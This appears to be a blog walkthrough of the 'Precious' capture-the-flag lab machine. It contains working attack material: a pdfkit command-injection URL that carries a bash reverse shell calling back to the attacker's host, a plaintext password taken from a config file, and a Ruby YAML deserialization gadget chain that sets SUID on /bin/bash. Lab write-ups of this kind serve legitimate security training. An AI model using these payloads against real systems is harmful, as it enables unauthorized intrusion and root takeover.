Hi everyone! This article is on a Linux easy machine that requires enumerating the downloaded metadata of the PDF file from tbe website for foothold, enumerating directories for password to another user, and finally exploiting sudo privilege misconfiguration and Yaml.load Ruby deserialization for privilege escalation. Let’s get started!
1. Nmap
$ IP=10.10.11.189 $ sudo nmap -sC -sV -p- $IP PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0) | ssh-hostkey: | 3072 84:5e:13:a8:e3:1e:20:66:1d:23:55:50:f6:30:47:d2 (RSA) | 256 a2:ef:7b:96:65:ce:41:61:c4:67:ee:4e:96:c7:c8:92 (ECDSA) |_ 256 33:05:3d:cd:7a:b7:98:45:82:39:e7:ae:3c:91:a6:58 (ED25519) 80/tcp open http nginx 1.18.0 |_http-title: Did not follow redirect to http://precious.htb/ |_http-server-header: nginx/1.18.0 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Since we are able to obtain the hostname from Nmap result, we can modify our hosts file immediately.
sudo nano /etc/hosts
Your hosts file should look something like this:
127.0.0.1 localhost
127.0.1.1 kali
10.10.11.189 precious.htb
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
2. Web enumeration & User flag

2.1 Discover Pdfkit vulnerability
To test the functionality, I hosted my own HTTP server using Python.
sudo python3 -m http.server 80
Next, I input the URL of my machine’s HTTP server. Remember to change the IP to your machine’s IP address.

After downloading the PDF, I inspected the metadata of the PDF and was able to see that the victim’s webserver uses pdfkit v0.8.6 to convert the web response to a PDF file.
$ exiftool 6x0ywq3t4zjpmuosof05h7rlnwrv7pma.pdf ExifTool Version Number : 12.44 File Name : 6x0ywq3t4zjpmuosof05h7rlnwrv7pma.pdf Directory : . File Size : 30 kB File Modification Date/Time : 2023:04:02 23:06:36-04:00 File Access Date/Time : 2023:04:02 23:06:36-04:00 File Inode Change Date/Time : 2023:04:02 23:06:38-04:00 File Permissions : -rw-r--r-- File Type : PDF File Type Extension : pdf MIME Type : application/pdf PDF Version : 1.4 Linearized : No Page Count : 1 Creator : Generated by pdfkit v0.8.6
A quick Google allows me to find a blog post by Synk showing that below pdfkit v0.8.7.2 is vulnerable to command inject. As a result, I gave it a test by running the id
command and was able to obtain the response of the id
command as shown in the red box.
http://10.10.16.8/?name=%20`id`

2.2 Getting a reverse shell
Since we are able to do a command injection, we can use it to obtain a reverse shell. Firstly, we have to start a Netcat listener in our terminal.
nc -lvnp 8080
Next, input the statement below in the website search bar. Remember to change the IP to your machine’s IP address.
http://10.10.16.8/?name=%20`/bin/bash -c 'bash -i >& /dev/tcp/10.10.16.8/8080 0>&1'`
We should receive a reverse shell on our Netcat. We can then change it to tty.
$ nc -lvnp 8080 listening on [any] 8080 ... connect to [10.10.16.8] from (UNKNOWN) [10.10.11.189] 50470 bash: cannot set terminal process group (677): Inappropriate ioctl for device bash: no job control in this shell ruby@precious:/var/www/pdfapp$ python3 -c 'import pty; pty.spawn("/bin/bash")' <pp$ python3 -c 'import pty; pty.spawn("/bin/bash")' ruby@precious:/var/www/pdfapp$
2.3 Pivot to Henry user & user flag
As I enumerate the HOME directory, I found out that there is another user. I tried to enumerate ruby’s home directory and found there is an non-default directory called .bundle
. A quick enumeration on the folder allows us to discover Henry’s password.
ruby@precious:/var/www/pdfapp$ ls /home ls /home henry ruby ruby@precious:/var/www/pdfapp$ cd ~ cd ~ ruby@precious:~$ ls -al ls -al total 28 drwxr-xr-x 4 ruby ruby 4096 Apr 3 02:17 . drwxr-xr-x 4 root root 4096 Oct 26 08:28 .. lrwxrwxrwx 1 root root 9 Oct 26 07:53 .bash_history -> /dev/null -rw-r--r-- 1 ruby ruby 220 Mar 27 2022 .bash_logout -rw-r--r-- 1 ruby ruby 3526 Mar 27 2022 .bashrc dr-xr-xr-x 2 root ruby 4096 Oct 26 08:28 .bundle drwxr-xr-x 3 ruby ruby 4096 Apr 3 01:18 .cache -rw-r--r-- 1 ruby ruby 807 Mar 27 2022 .profile ruby@precious:~$ cd .bundle cd .bundle ruby@precious:~/.bundle$ ls -al ls -al total 12 dr-xr-xr-x 2 root ruby 4096 Oct 26 08:28 . drwxr-xr-x 4 ruby ruby 4096 Apr 3 02:17 .. -r-xr-xr-x 1 root ruby 62 Sep 26 2022 config ruby@precious:~/.bundle$ cd config cd config bash: cd: config: Not a directory ruby@precious:~/.bundle$ cat config cat config --- BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"
Since we have Henry’s password, we can SSH into Henry’s account from our terminal and obtain the flag.
$ ssh henry@$IP henry@10.10.11.189's password: Linux precious 5.10.0-19-amd64 #1 SMP Debian 5.10.149-2 (2022-10-21) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Mon Apr 3 02:33:35 2023 from 10.10.16.37 -bash-5.1$ ls user.txt -bash-5.1$ cat user.txt 269*****************************
3. Privilege escalation
3.1 Sudo privilege
Using sudo -l
, I was able to see that this is likely to be the intended up to privilege escalate.
-bash-5.1$ sudo -l Matching Defaults entries for henry on precious: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User henry may run the following commands on precious: (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
3.2 Ruby deserialization
If we check out /opt/update_dependencies.rb
permission, we will see that only root is able to write to it. However, since we can read it, we can check out its content. When looking at its content, we can see something interesting which is YAML.load(File.read("dependencies.yml"))
.
-bash-5.1$ ls -l /opt/update_dependencies.rb -rwxr-xr-x 1 root root 848 Sep 25 2022 /opt/update_dependencies.rb -bash-5.1$ cat /opt/update_dependencies.rb # Compare installed dependencies with those specified in "dependencies.yml" require "yaml" require 'rubygems' # TODO: update versions automatically def update_gems() end def list_from_file YAML.load(File.read("dependencies.yml")) end def list_local_gems Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]} end gems_file = list_from_file gems_local = list_local_gems gems_file.each do |file_name, file_version| gems_local.each do |local_name, local_version| if(file_name == local_name) if(file_version != local_version) puts "Installed version differs from the one specified in file: " + local_name else puts "Installed version is equals to the one specified in file: " + local_name end end end end
The github repo by PayloadsAllThings has a good article and proof-of-concept on how to exploit it. As there are two versions, I checked the Ruby version on the victim’s machine and discovered it to be ruby 2.7.4p191.
-bash-5.1$ ruby -v ruby 2.7.4p191 (2021-07-07 revision a21a3b7d23) [x86_64-linux-gnu]
Thus, I created a dependencies.yml
in Henry’s home directory and set the command execution to set /bin/bash
as shown below (chmod u+s /bin/bash
).
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: chmod u+s /bin/bash
method_id: :resolve
Finally, we can execute update_dependencies.rb
as sudo, execute /bin/bash
as root and obtain the flag.
-bash-5.1$ sudo /usr/bin/ruby /opt/update_dependencies.rb sh: 1: reading: not found Traceback (most recent call last): 33: from /opt/update_dependencies.rb:17:in `<main>' 32: from /opt/update_dependencies.rb:10:in `list_from_file' 31: from /usr/lib/ruby/2.7.0/psych.rb:279:in `load' 30: from /usr/lib/ruby/2.7.0/psych/nodes/node.rb:50:in `to_ruby' 29: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept' 28: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept' 27: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit' 26: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:313:in `visit_Psych_Nodes_Document' 25: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept' 24: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept' 23: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit' 22: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:141:in `visit_Psych_Nodes_Sequence' 21: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `register_empty' 20: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `each' 19: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `block in register_empty' 18: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept' 17: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept' 16: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit' 15: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:208:in `visit_Psych_Nodes_Mapping' 14: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:394:in `revive' 13: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:402:in `init_with' 12: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:218:in `init_with' 11: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:214:in `yaml_initialize' 10: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:299:in `fix_syck_default_key_in_requirements' 9: from /usr/lib/ruby/vendor_ruby/rubygems/package/tar_reader.rb:59:in `each' 8: from /usr/lib/ruby/vendor_ruby/rubygems/package/tar_header.rb:101:in `from' 7: from /usr/lib/ruby/2.7.0/net/protocol.rb:152:in `read' 6: from /usr/lib/ruby/2.7.0/net/protocol.rb:319:in `LOG' 5: from /usr/lib/ruby/2.7.0/net/protocol.rb:464:in `<<' 4: from /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `write' 3: from /usr/lib/ruby/vendor_ruby/rubygems/request_set.rb:388:in `resolve' 2: from /usr/lib/ruby/2.7.0/net/protocol.rb:464:in `<<' 1: from /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `write' /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `system': no implicit conversion of nil into String (TypeError) -bash-5.1$ ls -l /bin/bash -rwsr-sr-x 1 root root 1234376 Mar 27 2022 /bin/bash -bash-5.1$ bash -p bash-5.1# whoami root bash-5.1# cd /root bash-5.1# ls root.txt bash-5.1# cat root.txt 9a6*****************************
I hope these tabs have been helpful to you. Feel free to leave any comments below. If you like my content, do follow me via email. You may also send me some tips if you like my work and want to see more of such content. Funds will mostly be used for my boba milk tea addiction. The link is here. 🙂